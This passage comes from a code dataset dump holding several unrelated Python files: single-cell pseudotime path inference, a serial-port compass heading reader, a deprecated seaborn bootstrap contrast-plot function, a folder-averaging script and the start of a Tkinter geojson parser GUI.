np.isin(data.obs_names, source)\n diffmap = data.obsm[\"X_phi\"] * (data.uns[\"diffmap_evals\"] ** t)\n dis = euclidean_distances(diffmap[mask, :], diffmap)[0,:]\n data.obs[save_to] = 1.0 - dis\n\n\ndef construct_knn_graph(indices, distances):\n G = igraph.Graph(directed=False)\n G.add_vertices(indices.shape[0])\n edges = []\n w = []\n for i in range(indices.shape[0]):\n for j in range(indices.shape[1]):\n edges.append((i, indices[i][j]))\n w.append(distances[i][j])\n G.add_edges(edges)\n G.es[\"weight\"] = w\n return G\n\n\ndef bfs_on_mst(G, root_id):\n mst = G.spanning_tree(weights=\"weight\")\n myiter = mst.bfsiter(root_id, advanced=True)\n n = G.vcount()\n parents = np.full(n, -1, dtype=int)\n for value in myiter:\n if value[2] is not None:\n parents[value[0].index] = value[2].index\n return parents\n\n\ndef infer_path(data: AnnData, cluster: str, clust_id, path_name: str, k: int = 10):\n \"\"\"Inference on path of a cluster.\n\n Parameters\n ----------\n data: ``anndata.AnnData``\n Annotated data matrix with rows for cells and columns for genes.\n\n cluster: ``str``\n Cluster name. Must exist in ``data.obs``.\n\n clust_id\n Cluster label. Must be a value of ``data.obs[cluster]``.\n\n path_name: ``str``\n Key name of the resulting path information.\n\n k: ``int``, optional, default: ``10``\n Number of nearest neighbors on Diffusion Map coordinates used in path reference.\n\n Returns\n -------\n ``None``\n\n Update ``data.obs``:\n * ``data.obs[path_name]``: The inferred path information on Diffusion Map about a specific cluster.\n\n Examples\n --------\n >>> pg.infer_path(adata, cluster = 'leiden_labels', clust_id = '1', path_name = 'leiden_1_path')\n \"\"\"\n assert \"roots\" in data.uns and len(data.uns[\"roots\"]) == 1\n root_id = int(np.isin(data.obs_names, data.uns[\"roots\"][0]).nonzero()[0][0])\n indices = data.uns[\"diffmap_knn_indices\"]\n distances = data.uns[\"diffmap_knn_distances\"]\n G = construct_knn_graph(indices, distances)\n parents = bfs_on_mst(G, root_id)\n inpath = np.zeros(data.shape[0], dtype=bool)\n idx = np.isin(data.obs[cluster], clust_id)\n inpath[idx] = True\n\n qsize = idx.sum()\n queue = deque(idx.nonzero()[0])\n while qsize > 0:\n vid = queue.popleft()\n qsize -= 1\n if parents[vid] >= 0 and not inpath[parents[vid]]:\n inpath[parents[vid]] = True\n queue.append(parents[vid])\n qsize += 1\n\n for vid in np.nonzero(inpath & ~idx)[0]:\n inpath[indices[vid, 0:k]] = True\n\n data.obs[path_name] = inpath.astype(str)\n","sub_path":"pegasus/tools/pseudotime.py","file_name":"pseudotime.py","file_ext":"py","file_size_in_byte":4262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"386642197","text":"#!/usr/bin/python\nimport numpy as np\nimport serial\nimport math\nimport time\n\ndef getHeading(ax, ay, az, mx, my, mz):\n ax = ax / ( 1 << 15)\n ay = ay / ( 1 << 15)\n az = az / ( 1 << 15)\n # pitch = asin(-realA->x)\n pitch = -math.acos(-ax) + math.pi/2\n sin_pitch = math.sin(pitch)\n cos_pitch = math.cos(pitch)\n # roll = asin(ay/cos_pitch)\n roll = -math.acos(ay/cos_pitch) + math.pi/2\n cos_roll = math.cos(roll)\n sin_roll = math.sin(roll)\n\n xh = mx * cos_pitch + mz * sin_pitch\n yh = mx * sin_roll * sin_pitch + my * cos_roll - mz * sin_roll * cos_pitch\n\n heading = 180 * math.atan2(yh, xh)/math.pi\n if (heading < 0): heading += 360\n return heading\n\n## initialize serial port\nser = serial.Serial('/dev/ttyUSB0', 38400)\ntime.sleep(100E-3)\n\n## maximum value, used for scaling\nm = 32768\nbmax = 0\n## update surface\nwhile True:\n ## wait for serial data\n while (ser.inWaiting() < 40):\n time.sleep(1E-6)\n\n ## read serial data\n data = ser.readline().rstrip()\n data = data.decode('utf-8')\n ## split serial data\n serial_gx, serial_gy, serial_gz, serial_mx, serial_my, serial_mz = data.split(',')\n ## convert serial readings to numbers\n gx = int(serial_gx)\n gy = int(serial_gy)\n gz = int(serial_gz)\n mx = int(serial_mx)\n my = int(serial_my)\n mz = int(serial_mz)\n\n ## calculate gmax for calibration\n # print('gmax: %.2f' % (math.sqrt(gx*gx + gy*gy + gz*gz)))\n gmax = 0.54\n ## convert angles to [-1; 1] and scale with gmax\n gx = gx / m / gmax\n gy = gy / m / gmax\n gz = gz / m / gmax\n bmax = math.sqrt(gx*gx + gy*gy + gz*gz)\n # print('bmax: %f' % bmax)\n ## \n if (bmax <= 1.02) and (bmax >= 0.96):\n print('g: %2.2f/%2.2f/%2.2f |\\tm: %4d/%4d/%4d |\\t h: %3d' % (gx, gy, gz, mx, my, mz, getHeading(gx, gy, gz, mx, my, mz)))\n # else:\n # print('skip')\n\n # ## skip when exceeding boundaries\n # bmax = math.sqrt(gx*gx + gy*gy + gz*gz)\n # print('bmax: %f' % bmax)\n # if (bmax <= 1) and (bmax >= 0.98):\n # print('alpha: %3.2f beta: %3.2f gamma: %3.2f bmax: %f'\n # % (alpha * 180 / math.pi, beta * 180 / math.pi, gamma * 180 / math.pi, bmax))\n #\n # else:\n # print('skip bmax: %f' % bmax)\n","sub_path":"calc.py","file_name":"calc.py","file_ext":"py","file_size_in_byte":2128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"535838067","text":"def contrastplot_old(data, x, y, idx = None, \n \n alpha = 0.75, \n axis_title_size = None,\n\n barWidth = 5,\n\n contrastShareY = True,\n contrastEffectSizeLineStyle = 'solid',\n contrastEffectSizeLineColor = 'black',\n contrastYlim = None,\n contrastZeroLineStyle = 'solid', \n contrastZeroLineColor = 'black', \n\n effectSizeYLabel = \"Effect Size\", \n\n figsize = None, \n floatContrast = True,\n floatSwarmSpacer = 0.2,\n\n heightRatio = (1, 1),\n\n lineWidth = 2,\n legend = True,\n\n pal = None, \n\n rawMarkerSize = 8,\n rawMarkerType = 'o',\n reps = 3000,\n \n showGroupCount=True,\n show95CI = False, \n showAllYAxes = False,\n showRawData = True,\n smoothboot = False, \n statfunction = None, \n summaryBar = False, \n summaryBarColor = 'grey',\n summaryColour = 'black', \n summaryLine = True, \n summaryLineStyle = 'solid', \n summaryLineWidth = 0.25, \n summaryMarkerSize = 10, \n summaryMarkerType = 'o',\n swarmShareY = True, \n swarmYlim = None, \n\n tickAngle=45,\n tickAlignment='right',\n\n violinOffset = 0.375,\n violinWidth = 0.2, \n\n xticksize = None,\n yticksize = None,\n\n **kwargs):\n '''Takes a pandas dataframe and produces a contrast plot:\n either a Cummings hub-and-spoke plot or a Gardner-Altman contrast plot.\n -----------------------------------------------------------------------\n Description of flags upcoming.'''\n\n sns.set_context(font_scale=1.5)\n\n # Check that `data` is a pandas dataframe\n if 'DataFrame' not in str(type(data)):\n raise TypeError(\"The object passed to the command is not not a pandas DataFrame.\\\n Please convert it to a pandas DataFrame.\")\n\n # Select only the columns for plotting and grouping. \n # Also set palette based on total number of categories in data['x'] or data['hue_column']\n if 'hue' in kwargs:\n data = data[ [x,y,kwargs['hue']] ]\n u = kwargs['hue']\n else:\n data = data[[x,y]]\n u = x\n \n # Drop all nans. \n data = data.dropna()\n\n # Set clean style\n sns.set(style = 'ticks')\n\n # plot params\n if axis_title_size is None:\n axis_title_size = 20\n if yticksize is None:\n yticksize = 16\n if xticksize is None:\n xticksize = 16\n\n axisTitleParams = {'labelsize' : axis_title_size}\n xtickParams = {'labelsize' : xticksize}\n ytickParams = {'labelsize' : yticksize}\n svgParams = {'fonttype' : 'none'}\n\n rc('axes', **axisTitleParams)\n rc('xtick', **xtickParams)\n rc('ytick', **ytickParams)\n rc('svg', **svgParams)\n rc('legend',**{'fontsize':16})\n rc('legend',**{'markerscale':1.75})\n\n # initialise statfunction\n if statfunction == None:\n statfunction = np.mean\n\n # Ensure summaryLine and summaryBar are not displayed together.\n if summaryLine is True and summaryBar is True:\n summaryBar = True\n summaryLine = False\n \n # Here we define the palette on all the levels of the 'x' column.\n # Thus, if the same pandas dataframe is re-used across different plots,\n # the color identity of each group will be maintained.\n if pal is None:\n plotPal = dict( zip( data[u].unique(), sns.color_palette(n_colors = len(data[u].unique())) ) \n )\n else:\n plotPal = pal\n \n # Get and set levels of data[x] \n if idx is None:\n # No idx is given, so all groups are compared to the first one in the DataFrame column.\n levs_tuple = (tuple(data[x].unique()), )\n widthratio = [1]\n if len(data[x].unique()) > 2:\n floatContrast = False\n else:\n # check if multi-plot or not\n if all(isinstance(element, str) for element in idx):\n # if idx is supplied but not a multiplot (ie single list or tuple) \n levs_tuple = (idx, )\n widthratio = [1]\n if len(idx) > 2:\n floatContrast = False\n elif all(isinstance(element, tuple) for element in idx):\n # if idx is supplied, and it is a list/tuple of tuples or lists, we have a multiplot!\n levs_tuple = idx\n if (any(len(element) > 2 for element in levs_tuple) and floatContrast == True):\n # if any of the tuples in idx has more than 2 groups, we turn set floatContrast as False.\n floatContrast = False\n # Make sure the widthratio of the seperate multiplot corresponds to how \n # many groups there are in each one.\n widthratio = []\n for i in levs_tuple:\n widthratio.append(len(i))\n u = list()\n for t in levs_tuple:\n for i in np.unique(t):\n u.append(i)\n u = np.unique(u)\n\n tempdat = data.copy()\n # Make sure the 'x' column is a 'category' type.\n tempdat[x] = tempdat[x].astype(\"category\")\n tempdat = tempdat[tempdat[x].isin(u)]\n # Filters out values that were not specified in idx.\n tempdat[x].cat.set_categories(u, ordered = True, inplace = True)\n if swarmYlim is None:\n swarm_ylim = np.array([np.min(tempdat[y]), np.max(tempdat[y])])\n else:\n swarm_ylim = np.array([swarmYlim[0],swarmYlim[1]])\n\n if contrastYlim is not None:\n contrastYlim = np.array([contrastYlim[0],contrastYlim[1]])\n\n # Expand the ylim in both directions.\n ## Find half of the range of swarm_ylim.\n swarmrange = swarm_ylim[1] - swarm_ylim[0]\n pad = 0.1 * swarmrange\n x2 = np.array([swarm_ylim[0]-pad, swarm_ylim[1]+pad])\n swarm_ylim = x2\n \n # Create list to collect all the contrast DataFrames generated.\n contrastList = list()\n contrastListNames = list()\n \n if figsize is None:\n if len(levs_tuple) > 2:\n figsize = (12,(12/np.sqrt(2)))\n else:\n figsize = (8,(8/np.sqrt(2)))\n\n barWidth=barWidth/1000 # Not sure why have to reduce the barwidth by this much! \n\n if showRawData is True:\n maxSwarmSpan = 0.25\n else:\n maxSwarmSpan = barWidth \n \n # Initialise figure, taking into account desired figsize.\n fig = plt.figure(figsize = figsize)\n \n # Initialise GridSpec based on `levs_tuple` shape.\n gsMain = gridspec.GridSpec( 1, np.shape(levs_tuple)[0], # 1 row; columns based on number of tuples in tuple.\n width_ratios = widthratio,\n wspace=0 ) \n \n for gsIdx, levs in enumerate(levs_tuple):\n # Create temp copy of the data for plotting!\n plotdat = data.copy()\n \n # Make sure the 'x' column is a 'category' type.\n plotdat[x] = plotdat[x].astype(\"category\")\n plotdat = plotdat[plotdat[x].isin(levs)]\n plotdat[x].cat.set_categories(levs, ordered = True, inplace = True)\n \n # then order according to `levs`!\n plotdat.sort_values(by = [x])\n\n # Calculate summaries.\n # means=plotdat.groupby([x], sort=True).mean()[y]\n summaries=plotdat.groupby([x], sort=True)[y].apply(statfunction)\n\n if len(levs) == 2: \n # Calculate bootstrap contrast. \n tempbs = bootstrap_contrast(data = data, \n x = x, \n y = y,\n idx = levs, \n statfunction = statfunction, \n smoothboot = smoothboot,\n reps = reps)\n \n contrastListNames.append( str(levs[1]) + \" v.s \" + str(levs[0]) )\n contrastList.append(tempbs)\n\n if floatContrast is True:\n ax_left = fig.add_subplot(gsMain[gsIdx], frame_on = False) \n # Use fig.add_subplot instead of plt.Subplot\n \n if showRawData is True:\n # Plot the raw data as a swarmplot.\n sw = sns.swarmplot(data = plotdat, x = x, y = y, \n order = levs, ax = ax_left, \n alpha = alpha, palette = plotPal,\n size = rawMarkerSize,\n marker = rawMarkerType,\n **kwargs)\n sw.set_ylim(swarm_ylim)\n \n maxXBefore = max(sw.collections[0].get_offsets().T[0])\n minXAfter = min(sw.collections[1].get_offsets().T[0])\n xposAfter = maxXBefore + floatSwarmSpacer\n xAfterShift = minXAfter - xposAfter\n offsetSwarmX(sw.collections[1], -xAfterShift)\n\n if summaryBar is True:\n bar_raw = sns.barplot(x = summaries.index.tolist(),\n y = summaries.values, \n facecolor = summaryBarColor,\n ax = ax_left,\n alpha = 0.25)\n ## get swarm with largest span, set as max width of each barplot.\n for i, bar in enumerate(bar_raw.patches):\n x_width = bar.get_x()\n width = bar.get_width()\n centre = x_width + width/2.\n if i == 0:\n bar.set_x(centre - maxSwarmSpan/2.)\n else:\n bar.set_x(centre - xAfterShift - maxSwarmSpan/2.)\n bar.set_width(maxSwarmSpan)\n \n ## Set the ticks locations for ax_left.\n # axLeftLab = ax_left.get_xaxis().get_ticklabels\n ax_left.get_xaxis().set_ticks((0, xposAfter))\n firstTick=ax_left.get_xaxis().get_ticklabels()[0].get_text()\n secondTick=ax_left.get_xaxis().get_ticklabels()[1].get_text()\n ## Set the tick labels!\n ax_left.set_xticklabels([firstTick,#+' n='+count[firstTick],\n secondTick],#+' n='+count[secondTick]],\n rotation = tickAngle,\n horizontalalignment = tickAlignment)\n ## Remove left axes x-axis title.\n ax_left.set_xlabel(\"\")\n\n # Set up floating axis on right.\n ax_right = ax_left.twinx()\n\n # Then plot the bootstrap\n # We should only be looking at sw.collections[1],\n # as contrast plots will only be floating in this condition.\n plotbootstrap(sw.collections[1],\n bslist = tempbs, \n ax = ax_right,\n violinWidth = violinWidth, \n violinOffset = violinOffset,\n markersize = summaryMarkerSize,\n marker = summaryMarkerType,\n color = 'k', \n linewidth = 2)\n\n # Set reference lines\n ## First get leftmost limit of left reference group\n xtemp, _ = np.array(sw.collections[0].get_offsets()).T\n leftxlim = xtemp.min()\n ## Then get leftmost limit of right test group\n xtemp, _ = np.array(sw.collections[1].get_offsets()).T\n rightxlim = xtemp.min()\n\n ## zero line\n ax_right.hlines(0, # y-coordinates\n leftxlim, 3.5, # x-coordinates, start and end.\n linestyle = contrastZeroLineStyle,\n linewidth = 0.75,\n color = contrastZeroLineColor)\n\n ## effect size line\n ax_right.hlines(tempbs['summary'], \n rightxlim, 3.5, # x-coordinates, start and end.\n linestyle = contrastEffectSizeLineStyle,\n linewidth = 0.75,\n color = contrastEffectSizeLineColor)\n\n \n ## If the effect size is positive, shift the right axis up.\n if float(tempbs['summary']) > 0:\n rightmin = ax_left.get_ylim()[0] - float(tempbs['summary'])\n rightmax = ax_left.get_ylim()[1] - float(tempbs['summary'])\n ## If the effect size is negative, shift the right axis down.\n elif float(tempbs['summary']) < 0:\n rightmin = ax_left.get_ylim()[0] + float(tempbs['summary'])\n rightmax = ax_left.get_ylim()[1] + float(tempbs['summary'])\n\n ax_right.set_ylim(rightmin, rightmax)\n\n if legend is True:\n ax_left.legend(loc='center left', bbox_to_anchor=(1.1, 1))\n elif legend is False:\n ax_left.legend().set_visible(False)\n \n if gsIdx > 0:\n ax_right.set_ylabel('')\n\n align_yaxis(ax_left, tempbs['statistic_ref'], ax_right, 0.)\n\n elif floatContrast is False:\n # Create subGridSpec with 2 rows and 1 column.\n gsSubGridSpec = gridspec.GridSpecFromSubplotSpec(2, 1, \n subplot_spec = gsMain[gsIdx],\n wspace=0)\n ax_top = plt.Subplot(fig, gsSubGridSpec[0, 0], frame_on = False)\n\n if show95CI is True:\n sns.barplot(data = plotdat, x = x, y = y, ax = ax_top, alpha = 0, ci = 95)\n\n # Plot the swarmplot on the top axes.\n sw = sns.swarmplot(data = plotdat, x = x, y = y, \n order = levs, ax = ax_top, \n alpha = alpha, palette = plotPal,\n size = rawMarkerSize,\n marker = rawMarkerType,\n **kwargs)\n sw.set_ylim(swarm_ylim)\n\n # Then plot the summary lines.\n if summaryLine is True:\n for i, m in enumerate(summaries):\n ax_top.plot((i - summaryLineWidth, i + summaryLineWidth), # x-coordinates\n (m, m), # y-coordinates\n color = summaryColour, linestyle = summaryLineStyle)\n elif summaryBar is True:\n sns.barplot(x = summaries.index.tolist(), \n y = summaries.values, \n facecolor = summaryBarColor, \n ci=0,\n ax = ax_top, \n alpha = 0.25)\n \n if legend is True:\n ax_top.legend(loc='center left', bbox_to_anchor=(1.1, 1))\n elif legend is False:\n ax_top.legend().set_visible(False)\n \n fig.add_subplot(ax_top)\n ax_top.set_xlabel('')\n \n # Initialise bottom axes\n ax_bottom = plt.Subplot(fig, gsSubGridSpec[1, 0], sharex = ax_top, frame_on = False)\n\n # Plot the CIs on the bottom axes.\n plotbootstrap(sw.collections[1],\n bslist = tempbs,\n ax = ax_bottom, \n violinWidth = violinWidth,\n markersize = summaryMarkerSize,\n marker = summaryMarkerType,\n offset = False,\n violinOffset = 0,\n linewidth = 2)\n\n # Set bottom axes ybounds\n if contrastYlim is not None:\n # ax_bottom.set_ylim( tempbs['diffarray'].min(), tempbs['diffarray'].max() )\n # else:\n ax_bottom.set_ylim(contrastYlim)\n \n # Set xlims so everything is properly visible!\n swarm_xbounds = ax_top.get_xbound()\n ax_bottom.set_xbound(swarm_xbounds[0] - (summaryLineWidth * 1.1), \n swarm_xbounds[1] + (summaryLineWidth * 1.1))\n \n fig.add_subplot(ax_bottom)\n\n # Hide the labels for non leftmost plots.\n if gsIdx > 0:\n ax_top.set_ylabel('')\n ax_bottom.set_ylabel('')\n \n elif len(levs) > 2:\n bscontrast = list()\n # Create subGridSpec with 2 rows and 1 column.\n gsSubGridSpec = gridspec.GridSpecFromSubplotSpec(2, 1, \n subplot_spec = gsMain[gsIdx],\n wspace=0)\n \n # Calculate the hub-and-spoke bootstrap contrast.\n for i in range (1, len(levs)): # Note that you start from one. No need to do auto-contrast!\n tempbs = bootstrap_contrast(data = data,\n x = x, \n y = y, \n idx = [levs[0], levs[i]],\n statfunction = statfunction, \n smoothboot = smoothboot,\n reps = reps)\n bscontrast.append(tempbs)\n contrastList.append(tempbs)\n contrastListNames.append(levs[i] + ' vs. ' + levs[0])\n\n # Initialize the top swarmplot axes.\n ax_top = plt.Subplot(fig, gsSubGridSpec[0, 0], frame_on = False)\n \n if show95CI is True:\n sns.barplot(data = plotdat, x = x, y = y, ax = ax_top, alpha = 0, ci = 95)\n\n sw = sns.swarmplot(data = plotdat, x = x, y = y, \n order = levs, ax = ax_top, \n alpha = alpha, palette = plotPal,\n size = rawMarkerSize,\n marker = rawMarkerType,\n **kwargs)\n sw.set_ylim(swarm_ylim)\n\n # Then plot the summary lines.\n if summaryLine is True:\n for i, m in enumerate(summaries):\n ax_top.plot((i - summaryLineWidth, i + summaryLineWidth), # x-coordinates\n (m, m), # y-coordinates\n color = summaryColour, linestyle = summaryLineStyle)\n elif summaryBar is True:\n sns.barplot(x = summaries.index.tolist(), \n y = summaries.values, \n facecolor = summaryBarColor, \n ax = ax_top, \n alpha = 0.25)\n\n if legend is True:\n ax_top.legend(loc='center left', bbox_to_anchor=(1.1, 1))\n elif legend is False:\n ax_top.legend().set_visible(False)\n \n fig.add_subplot(ax_top)\n ax_top.set_xlabel('')\n\n # Initialise the bottom swarmplot axes.\n ax_bottom = plt.Subplot(fig, gsSubGridSpec[1, 0], sharex = ax_top, frame_on = False)\n\n # Plot the CIs on the bottom axes.\n plotbootstrap_hubspoke(bslist = bscontrast,\n ax = ax_bottom, \n violinWidth = violinWidth,\n violinOffset = violinOffset,\n markersize = summaryMarkerSize,\n marker = summaryMarkerType,\n linewidth = lineWidth)\n # Set bottom axes ybounds\n if contrastYlim is not None:\n ax_bottom.set_ybound(contrastYlim)\n \n # Set xlims so everything is properly visible!\n swarm_xbounds = ax_top.get_xbound()\n ax_bottom.set_xbound(swarm_xbounds[0] - (summaryLineWidth * 1.1), \n swarm_xbounds[1] + (summaryLineWidth * 1.1))\n \n # Label the bottom y-axis\n fig.add_subplot(ax_bottom)\n ax_bottom.set_ylabel(effectSizeYLabel)\n \n if gsIdx > 0:\n ax_top.set_ylabel('')\n ax_bottom.set_ylabel('')\n \n # Turn contrastList into a pandas DataFrame,\n contrastList = pd.DataFrame(contrastList).T\n contrastList.columns = contrastListNames\n\n axesCount=len(fig.get_axes())\n\n # Loop thru the CONTRAST axes and perform aesthetic touch-ups.\n for j,i in enumerate(range(1, axesCount, 2)):\n axx=fig.get_axes()[i]\n\n if floatContrast is False:\n xleft, xright=axx.xaxis.get_view_interval()\n # Draw zero reference line.\n axx.hlines(y = 0,\n xmin = xleft-1, \n xmax = xright+1,\n linestyle = contrastZeroLineStyle,\n linewidth = 0.75,\n color = contrastZeroLineColor)\n # reset view interval.\n axx.set_xlim(xleft, xright)\n\n sns.despine(ax = axx, \n top = True, right = True, \n left = False, bottom = False, \n trim = True)\n\n # Rotate tick labels.\n rotateTicks(axx,tickAngle,tickAlignment)\n\n else:\n # Re-draw the floating axis to the correct limits.\n ## Get the 'correct limits':\n lower = np.min( contrastList.ix['diffarray',j] )\n upper = np.max( contrastList.ix['diffarray',j] )\n meandiff = contrastList.ix['summary', j]\n\n ## Make sure we have zero in the limits.\n if lower > 0:\n lower = 0.\n if upper < 0:\n upper = 0.\n\n ## Get the tick interval from the left y-axis.\n leftticks = fig.get_axes()[i-1].get_yticks()\n tickstep = leftticks[1] - leftticks[0]\n\n ## First re-draw of axis with new tick interval\n axx.yaxis.set_major_locator(MultipleLocator(base = tickstep))\n newticks1 = axx.get_yticks()\n\n ## Obtain major ticks that comfortably encompass lower and upper.\n newticks2 = list()\n for a,b in enumerate(newticks1):\n if (b >= lower and b <= upper):\n # if the tick lies within upper and lower, take it.\n newticks2.append(b)\n # if the meandiff falls outside of the newticks2 set, add a tick in the right direction.\n if np.max(newticks2) < meandiff:\n ind = np.where(newticks1 == np.max(newticks2))[0][0] # find out the max tick index in newticks1.\n newticks2.append( newticks1[ind+1] )\n elif meandiff < np.min(newticks2):\n ind = np.where(newticks1 == np.min(newticks2))[0][0] # find out the min tick index in newticks1.\n newticks2.append( newticks1[ind-1] )\n newticks2 = np.array(newticks2)\n newticks2.sort()\n\n ## Second re-draw of axis to shrink it to desired limits.\n axx.yaxis.set_major_locator(FixedLocator(locs = newticks2))\n \n # ## Obtain minor ticks that fall within the major ticks.\n # majorticks = fig.get_axes()[i].yaxis.get_majorticklocs()\n # oldminorticks = fig.get_axes()[i].yaxis.get_minorticklocs()\n\n ## Despine, trim, and redraw the lines.\n sns.despine(ax = axx, trim = True, \n bottom = False, right = False,\n left = True, top = True)\n\n # Now loop thru SWARM axes for aesthetic touchups.\n for i in range(0, axesCount, 2):\n axx=fig.get_axes()[i]\n\n if i != axesCount - 2 and 'hue' in kwargs:\n # If this is not the final swarmplot, remove the hue legend.\n axx.legend().set_visible(False)\n\n if floatContrast is True:\n sns.despine(ax = axx, trim = True, right = True)\n else:\n sns.despine(ax = axx, trim = True, bottom = True, right = True)\n axx.get_xaxis().set_visible(False)\n\n if (showAllYAxes is False and i in range( 2, len(fig.get_axes())) ):\n axx.get_yaxis().set_visible(showAllYAxes)\n else:\n # Draw back the lines for the relevant y-axes.\n drawback_y(axx)\n\n if summaryBar is True:\n axx.add_artist(Line2D(\n (axx.xaxis.get_view_interval()[0], \n axx.xaxis.get_view_interval()[1]), \n (0,0),\n color='black', linewidth=0.75\n )\n )\n # I don't know why the swarm axes controls the contrast axes ticks....\n if showGroupCount:\n count=data.groupby(x).count()[y]\n newticks=list()\n for ix, t in enumerate(axx.xaxis.get_ticklabels()):\n t_text=t.get_text()\n nt=t_text+' n='+str(count[t_text])\n newticks.append(nt)\n axx.xaxis.set_ticklabels(newticks)\n\n ########\n # Normalize bottom/right Contrast axes to each other for Cummings hub-and-spoke plots.\n if (axesCount > 2 and \n contrastShareY is True and \n floatContrast is False):\n\n # Set contrast ylim as max ticks of leftmost swarm axes.\n if contrastYlim is None:\n contrastYmin = fig.axes[1].yaxis.get_ticklocs()[0]\n contrastYmax = fig.axes[1].yaxis.get_ticklocs()[-1]\n\n normalizeContrastY(fig, \n contrast_ylim = contrastYlim, \n show_all_yaxes = showAllYAxes)\n\n if (axesCount==2 and \n floatContrast is False):\n drawback_x(fig.get_axes()[1])\n drawback_y(fig.get_axes()[1])\n\n if swarmShareY is False:\n for i in range(0, axesCount, 2):\n drawback_y(fig.get_axes()[i])\n \n if contrastShareY is False:\n for i in range(1, axesCount, 2):\n if floatContrast is True:\n sns.despine(ax = fig.get_axes()[i], \n top = True, right = False, left = True, bottom = True, \n trim = True)\n else:\n sns.despine(ax = fig.get_axes()[i], trim = True)\n\n # Zero gaps between plots on the same row, if floatContrast is False\n if (floatContrast is False and showAllYAxes is False):\n gsMain.update(wspace = 0.)\n\n else: \n # Tight Layout!\n gsMain.tight_layout(fig)\n \n # And we're all done.\n # rcdefaults() # restore matplotlib defaults.\n # sns.set() # restore seaborn defaults.\n return fig, contrastList","sub_path":"bootstrap_contrast/old__/deprecated.py","file_name":"deprecated.py","file_ext":"py","file_size_in_byte":27059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"236684347","text":"import sys\nimport os\nimport numpy\n\ndef promedioCarpeta(carpeta):\n\tacc = 0\n\tcount = 0\n\n\tfor f in os.listdir(carpeta):\n\t\tfile = open(os.path.join(carpeta, f), 'r')\n\t\tacc += float(file.read())\n\t\tcount += 1\n\n\treturn acc/count\n\ndef stdDeviation(carpeta):\n\tvals = []\n\n\tfor f in os.listdir(carpeta):\n\t\tfile = open(os.path.join(carpeta, f), 'r')\n\t\tvals.append(float(file.read()))\n\n\treturn numpy.std(vals)\n\npath = sys.argv[1]\ncarpetas = [f for f in os.listdir(path) if os.path.isdir(os.path.join(path, f))]\n\nfor c in sorted(carpetas):\n\tprint(c + \" \" + str(promedioCarpeta(os.path.join(path, c))) + \" \" + str(stdDeviation(os.path.join(path, c))))\n","sub_path":"informe/GraficosPunto1/promedio.py","file_name":"promedio.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"78965147","text":"from tkinter import *\nfrom tkinter import filedialog\nfrom tkinter import messagebox\nimport json\nimport csv\nfrom pprint import pprint\nimport sys\nimport os\n\nclass Myapp:\n\n Data = None # geojson Data(raw)\n parseData = None # parsed Data from geojson file\n savejson = True # init\n savecsv = False\n file_loaded = False\n\n type = False\n name = False\n ALIAS = False\n REMARK = False\n NTFDATE = False\n SGG_OID = False\n COL_ADM_SE = False\n CoreNum = False\n area = False\n perimeter = False\n category = False\n geometry = False\n\n # GUI widgets\n def __init__(self,parent):\n\n attribute_button_width = 10\n button_width = 6\n button_padx = \"2m\"\n button_pady = \"1m\"\n\n self.fb = IntVar() # for format button\n self.fb.set(0) # initializing the choice, i.e. Geojson\n\n self.myparent = parent\n self.myparent.geometry(\"640x500\")\n\n self.myContainer = Frame(parent)\n self.myContainer.pack(expand=YES,fill=BOTH)\n\n # left frame\n self.left_frame = Frame(self.myContainer)\n self.left_frame.pack(side=LEFT,expand=NO,padx=10, pady=5, ipadx=5, ipady=5)\n\n # Message Frame:LEFTSide\n introMsg = \"geojson Parser\\ncheck attribute you want to parse\\nSwallaby Inc.\"\n Label(self.left_frame,text=introMsg,justify=LEFT).pack(side=TOP,anchor=W)\n\n # Button Container - Frame:LeftSide\n self.button_frame = Frame(self.left_frame)\n self.button_frame.pack(side=TOP,expand=NO,fill=Y, ipadx=5, ipady=5)\n\n # output container - frame:rightSide\n self.right_frame = Frame(self.myContainer,background=\"white\")\n self.right_frame.pack(side=RIGHT,expand=YES,fill=BOTH)\n\n\n # button\n format_buttons = [\"geojson\",\"csv\"]\n\n # button frame 생성\n self.file_button_frame = Frame(self.button_frame,borderwidth=5)\n self.format_button_frame = Frame(self.button_frame,borderwidth=5)\n self.attribute_button_frame = Frame(self.button_frame,borderwidth=15)\n\n self.file_button_frame.pack(side=LEFT,expand=YES,fill=Y,anchor=N)\n self.format_button_frame.pack(side=LEFT,expand=YES,anchor=N)\n self.attribute_button_frame.pack(side=LEFT,expand=YES,anchor=N)\n\n Label(self.file_button_frame,text=\"about\\nfile\").pack()\n Label(self.format_button_frame,text=\"file\\nformat\").pack()\n Label(self.attribute_button_frame,text=\"select\").pack()\n\n # file_button_frame button\n\n # file load button\n self.load_file_button = Button(self.file_button_frame,text=\"load\",\n width=button_width,padx=button_padx,pady=button_pady)\n\n self.load_file_button.pack(side=TOP)\n self.load_file_button.bind(\"\",self.processOK)\n\n # data show button\n self.parse_button = Button(self.file_button_frame, text=\"parse\",\n width=button_width, padx=button_padx, pady=button_pady)\n self.parse_button.pack(side=TOP)\n self.parse_button.bind(\"\", self.dataParser)\n\n # file save button\n self.save_file_button = Button(self.file_button_frame,text=\"save\",\n width=button_width,padx=button_padx,pady=button_pady)\n self.save_file_button.pack(side=TOP)\n self.save_file_button.bind(\"\",self.savefile)\n\n # file_format frame button: RadioButton\n for var,format_button in enumerate(format_buttons):\n button = Radiobutton(self.format_button_frame,\n text=format_button,\n indicatoron=1,\n variable= self.fb,\n command = self.setFormat,\n value= var)\n button.pack(side=TOP,anchor=W)\n\n\n\n # attribute button : CheckBox\n self.type_button = Checkbutton(self.attribute_button_frame,\n text='type',\n anchor=W,\n command=self.setType,\n width=attribute_button_width).pack(side=TOP)\n\n self.name_button = Checkbutton(self.attribute_button_frame,\n text='name',\n anchor=W,\n command=self.setName,\n width=attribute_button_width).pack(side=TOP)\n\n self.ALIAS_button = Checkbutton(self.attribute_button_frame,\n text='ALIAS',\n anchor=W,\n command=self.setALIAS,\n width=attribute_button_width).pack(side=TOP)\n\n self.REMARK_button = Checkbutton(self.attribute_button_frame,\n text='REMARK',\n anchor=W,\n command=self.setRemark,\n width=attribute_button_width).pack(side=TOP)\n\n self.NTFDATE_button = Checkbutton(self.attribute_button_frame,\n text='NTFDATE',\n anchor=W,\n 